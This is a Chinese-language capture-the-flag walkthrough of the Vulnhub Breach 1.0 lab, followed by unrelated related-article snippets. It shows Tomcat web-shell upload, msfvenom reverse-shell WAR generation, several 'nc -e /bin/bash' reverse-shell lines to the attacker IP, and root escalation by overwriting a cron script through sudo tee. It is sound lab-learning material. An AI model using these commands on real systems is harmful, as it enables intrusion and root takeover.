Vulnhub 渗透练习(一)—— Breach 1.0
环境搭建
环境下载:
https://www.vulnhub.com/entry/breach-1,152/
环境描述:
Vulnhub 中对此环境的描述:
VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。
这里我用的是 VMware ,文件 -> 打开 .ova 文件创建新的虚拟机。
这边插一段不相关的内容,浅浅的了解一下。
虚拟机三种网络模式
1、仅主机模式:也就是host_only,这种模式仅仅只让虚拟机与本地物理机通信,不可以上网;
2、NAT模式:这种模式保留仅主机模式的功能下,还能让主机上网;
3、桥接模式:直接让虚拟机使用本地主机的网卡上网。
搭建环境
攻击机(kail)IP:192.168.110.129
靶机IP:192.168.110.140



最后开启两个虚拟机。
信息收集
端口扫描:
nmap -p- -sF 192.168.110.140

指纹识别:

渗透测试
信息搜集
访问靶机的 80 端口,在源码中有一串 base64,二次解码后可以得到一串字符串。


pgibbons:damnitfeel$goodtobeagang$ta
点击图片跳转到另一个页面:

用上面获得的账密登录。

可以用 exploit 来找找有没有这个 cms 的漏洞,有漏洞,但是页面我们没有权限进入。

导入PCAP、TLS 到 wireshark
仔细观察可以发现在收件箱里面有个 .keystore 文件,这个是 java 的密钥库、用来进行通信加密用的。

在账户信息这里可以看到 content 。

其中包含了一个数据包和,一个密钥密码为 tomcat

可以用 keytool 来提取证书,可以用 kail 自带的 keytool。

根据提示使用语句,口令就是邮件里提到的 tomcat

然后就是把密钥导进 wireshark。(编辑 -> 首选项)

端口我们扫到过,tomcat 的默认端口。

获得 tomcat 后台地址和密码
http 流里面有管理员密码

/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC (base64)
tomcat:Tt\5D8F(#!*u=G)4m7zB
写马 tomcat getshell (三种 or more)
直接上传大马反弹 shell
报错页面有 tomcat 的版本,那么我们就可以搜索这个版本的漏洞。
(这个 tomcat 页面其他师傅说可以用 bp 打开)

tomcat 服务页面上传文件处,上传大马。

jsp 大马,给它转成 .war 格式的文件。

上传完后,访问 /xxx/xxx.jsp 页面并输入密码,上面的那个大马密码是 ninty。


但是总是会被定时删除,所以我们可以反弹 shell 保持连接。
nc -e /bin/bash 192.168.110.129 9090


利用 msfvenom 生成 shell 并反弹
msfconsole
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.129 lport=9898 -f war -o shell.war
开启监听:
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 9898
run
上传 shell.war,并访问 /shell/ 。
启动 bash 模式。
python -c 'import pty;pty.spawn("/bin/bash")'

利用 冰蝎 生成 shell 并反弹
下载链接
把 冰蝎自带的 jsp 马压缩为 zip 格式,然后把 .zip 改为 .war,并上传。
但是不知道为什么一直连接失败,代理也开了,还有就是用的时候卡的一批,有没有大佬知道的,@ 我一下,多谢了。


信息收集
cat /etc/passwd
cat /etc/passwd
一大堆 UID 和 GID ,那么我们要注意哪些呢。
UID:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用,user用户的UID和GID分别是1000:1000。
setuid, setgid 可以来改变这种设置. setuid: 设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。 setgid: 该权限只对目录有效,目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
发现 milton和 blumbergh 账号。

登录 mysql
在 /var/www 下面有个 php 文件,里面有数据库的密码。

翻看数据库获得用户密码
找到 milton 密码 :6450d89bd3aff1d893b85d3ad65d2ec2

md5 解密一下,得到密码 thelaststraw

切换为用户 milton
su milton
thelaststraw

暂时没有在 /home/milton 下发现有用的。
查一下当前是什么系统,操作系统内核是什么。

系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
查看 milton 的 .bash_history 命令
发现 milton 用户曾经切换过 blumbergh 用户,需要 blumbergh 的密码。

找寻 blumbergh 密码
在 /var/www/html/images/bill.png 的 exif 信息有疑似密码的字符串:coffeestains
可以用 exiftool 来查询 exif 信息,或者用 strings 提取出图片可视字符,也可以用在线网站查询。

查看 blumbergh 历史命令

tidyup.sh 的作用是每三分钟,对 webapps 下的文件进行一次清理,这就是为什么上传的 shell 老是被删除的原因。

该定时任务 root 权限。

sudo -l 后发现能够以 root 权限执行 tee 命令和 tidyup.sh 脚本,而 tee 命令可以把输入的数据,复制到文件里。
那么也就是说我们可以把反弹 shell 的语句用 tee 命令写入tidyup.sh 脚本文件里,并执行这个脚本,那么不就可以拿到 root 权限了嘛。

利用定时任务提权
先把反弹语句写入 shell.txt。
echo "nc -e /bin/bash 192.168.110.129 9999" > shell.txt
再把 shell.txt 的内容写入 tidyup.sh 中。
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

写入成功。

等待 nc 反弹 root
此时就是 root 权限了,发现 flag 文件。

读取 flag
可以把 flair.jpg 给复制到我们可以查看的目录,比如 /var/www/html/images/flair.jpg
cp flair.jpg /var/www/html/images/flair.jpg


总结
跟着大佬们的步伐结合自己的思考,学会了很多东西,很多平时不曾注意到的点,也稍微知道了一些渗透的简要步骤,还有就是谢谢大佬们的无私。
参考文章
渗透测试工具一一Nmap(从初级到高级)
Vulnhub-Breach1.0
SSL证书中的keystore是什么
Msfvenom介绍及利用
反弹shell的方法总结
msfvenom之——生成各类Payload命令
相关文章:
Vulnhub 渗透练习(一)—— Breach 1.0
环境搭建 环境下载: https://www.vulnhub.com/entry/breach-1,152/ 环境描述: Vulnhub 中对此环境的描述: VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。 这里我用的是 VMware ࿰…...
初探Spring采用Spring配置文件管理Bean
文章目录Spring容器演示--采用Spring配置文件管理Bean(一)创建Maven项目(二)添加Spring依赖(三)创建杀龙任务类(四)创建勇敢骑士类(五)采用传统方式让勇敢骑士…...
【手写 Vuex 源码】第十二篇 - Vuex 插件机制的实现
一,前言 上一篇,主要介绍了 Vuex 插件的开发,主要涉及以下几个点: Vuex 插件的使用介绍;Vuex 插件开发和使用分析;Vuex 插件机制的分析; 本篇,继续介绍 Vuex 插件机制的实现&…...
图像去噪技术简述
随着每天拍摄的数字图像数量激增,对更准确、更美观的图像的需求也在增加。然而,现代相机拍摄的图像不可避免地会受到噪声的影响,从而导致视觉图像质量下降。因此,需要在不丢失图像特征(边缘、角和其他尖锐结构…...
数据迁移——技术选型
日常我们在开发中,随着业务需求的变更,重构系统是很常见的事情。重构系统常见的一个场景是变更底层数据模型与存储结构。这种情况下就要对数据进行迁移,从而使业务能正常支行。 背景如下:老系统中使用了mongo数据库,由…...
第二十七章 java并发常见知识内容(CompletableFuture)
JAVA重要知识点CompletableFuture常见函数式编程操作创建 CompletableFuture静态工厂方法处理异步结算的结果异常处理组合 CompletableFuturethenCompose() 和 thenCombine() 区别并行运行多个 CompletableFutureCompletableFuture Java 8 才被引入的一个非常有用的用于异步编…...
Qt扫盲-QMake 使用概述
QMake 使用概述一、概述二、简单开始三、使应用程序可调试1. 添加平台特定的源文件2. 如果文件不存在,停止qmake3. 检查多个条件一、概述 本教程教你qmake的基础知识。qmake 其实就是一个自动化编译的流程控制文件,也是Qt程序的生成makefile的工具&…...
Spring Cloud之Zuul
目录 简介 Zuul中的过滤器 过滤器的执行流程 使用过滤器 route过滤器的默认三种配置 路由到服务 路由到url地址 转发给自己 自定义过滤器 简介 Zuul是Netflix开源的微服务网关,主要功能是路由转发和过滤器,其原理也是一系列filters࿰…...
为什么要有分布式锁?
Redis避坑指南:为什么要有分布式锁?作者:京东保险 张江涛1、为什么要有分布式锁?JUC提供的锁机制,可以保证在同一个JVM进程中同一时刻只有一个线程执行操作逻辑;多服务多节点的情况下,就意味着有…...
【Redis】Redis持久化之RDB详解(Redis专栏启动)
📫作者简介:小明java问道之路,2022年度博客之星全国TOP3,专注于后端、中间件、计算机底层、架构设计演进与稳定性建工设优化。文章内容兼具广度深度、大厂技术方案,对待技术喜欢推理加验证,就职于知名金融公…...
Retinanet网络与focal loss损失
参考代码:https://github.com/yhenon/pytorch-retinanet 1.损失函数 1)原理 本文一个核心的贡献点就是 focal loss。总损失依然分为两部分,一部分是分类损失,一部分是回归损失。 在讲分类损失之前,我们来回顾一下二…...
Spring事务的失效场景
事务失效场景 方法用private或final修饰 Spring底层使用了AOP,而AOP的实现方式有两种,分别是JDK动态代理和CGLIB,JDK动态代理是实现抽象接口,CGLIB是继承父类,无论哪种方式,都需要重写方法来进行方法增强,而…...
芯动联科在科创板IPO过会:拟募资10亿元,金晓冬为实际控制人
2月13日,上海证券交易所披露的信息显示,安徽芯动联科微系统股份有限公司(下称“芯动联科”)获得科创板上市委会议审议通过。据贝多财经了解,芯动联科于2022年6月24日在科创板递交招股书。 本次冲刺上市,芯…...
数据结构之单链表
一、链表的组成 链表是由一个一个的节点组成的,节点又是一个一个的对象, 相邻的节点之间产生联系,形成一条链表。 例子:假如现在有两个人,A和B,A保存了B的联系方式,这俩人之间就有了联系。 A和…...
儿子跟妈妈关系不好怎么办?这里有解决办法!
15岁的男孩子正处于青春期,很多男孩都傲慢自大,听不进去别人的建议,以自己为中心,认为自己能处理好自己的事情,不想听父母的唠叨。母亲面对青春期的孩子也是举手无措,语气不好,会让孩子更叛逆。…...
论文投稿指南——中文核心期刊推荐(植物保护)
【前言】 🚀 想发论文怎么办?手把手教你论文如何投稿!那么,首先要搞懂投稿目标——论文期刊 🎄 在期刊论文的分布中,存在一种普遍现象:即对于某一特定的学科或专业来说,少数期刊所含…...
华科万维C++章节练习4_6
【程序设计】 题目: 编程输出下列图形,中间一行英文字母由输入得到。 A B B B C C C C C D D D D D D D C C C C C B B B A 开头空一格,字母间空两格…...
详解子网技术
一 : Internet地址 Intemet实质上是把分布在世界各地的各种网络如计算机局域网和广域网、数字数据通信网以及公用电话交换网等互相连接起来而形成的超级网络。但是 , 网络的物理地址给Internet统一全网地址带来两个方面的问题: 第一,物理地址是物理网络技术的一种…...
chatGTP的全称Chat Generative Pre-trained Transformer
chatGPT,有时候我会拼写为:chatGTP,所以知道这个GTP的全称是很有用的。 ChatGPT全名:Chat Generative Pre-trained Transformer ,中文翻译是:聊天生成预训练变压器,所以是GPT,G是生…...
hive数据存储格式
1、Hive存储数据的格式如下: 存储数据格式存储形式TEXTFILE行式存储SEQUENCEFILE行式存储ORC列式存储PARQUET列式存储 2、行式存储和列式存储 解释: 1、上图左面为逻辑表;右面第一个为行式存储,第二个温列式存储; …...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...
GC1808高性能24位立体声音频ADC芯片解析
1. 芯片概述 GC1808是一款24位立体声音频模数转换器(ADC),支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
力扣热题100 k个一组反转链表题解
题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...
Ubuntu系统复制(U盘-电脑硬盘)
所需环境 电脑自带硬盘:1块 (1T) U盘1:Ubuntu系统引导盘(用于“U盘2”复制到“电脑自带硬盘”) U盘2:Ubuntu系统盘(1T,用于被复制) !!!建议“电脑…...
DeepSeek源码深度解析 × 华为仓颉语言编程精粹——从MoE架构到全场景开发生态
前言 在人工智能技术飞速发展的今天,深度学习与大模型技术已成为推动行业变革的核心驱动力,而高效、灵活的开发工具与编程语言则为技术创新提供了重要支撑。本书以两大前沿技术领域为核心,系统性地呈现了两部深度技术著作的精华:…...
小木的算法日记-多叉树的递归/层序遍历
🌲 从二叉树到森林:一文彻底搞懂多叉树遍历的艺术 🚀 引言 你好,未来的算法大神! 在数据结构的世界里,“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的,它…...
基于单片机的宠物屋智能系统设计与实现(论文+源码)
本设计基于单片机的宠物屋智能系统核心是实现对宠物生活环境及状态的智能管理。系统以单片机为中枢,连接红外测温传感器,可实时精准捕捉宠物体温变化,以便及时发现健康异常;水位检测传感器时刻监测饮用水余量,防止宠物…...
[拓扑优化] 1.概述
常见的拓扑优化方法有:均匀化法、变密度法、渐进结构优化法、水平集法、移动可变形组件法等。 常见的数值计算方法有:有限元法、有限差分法、边界元法、离散元法、无网格法、扩展有限元法、等几何分析等。 将上述数值计算方法与拓扑优化方法结合&#…...
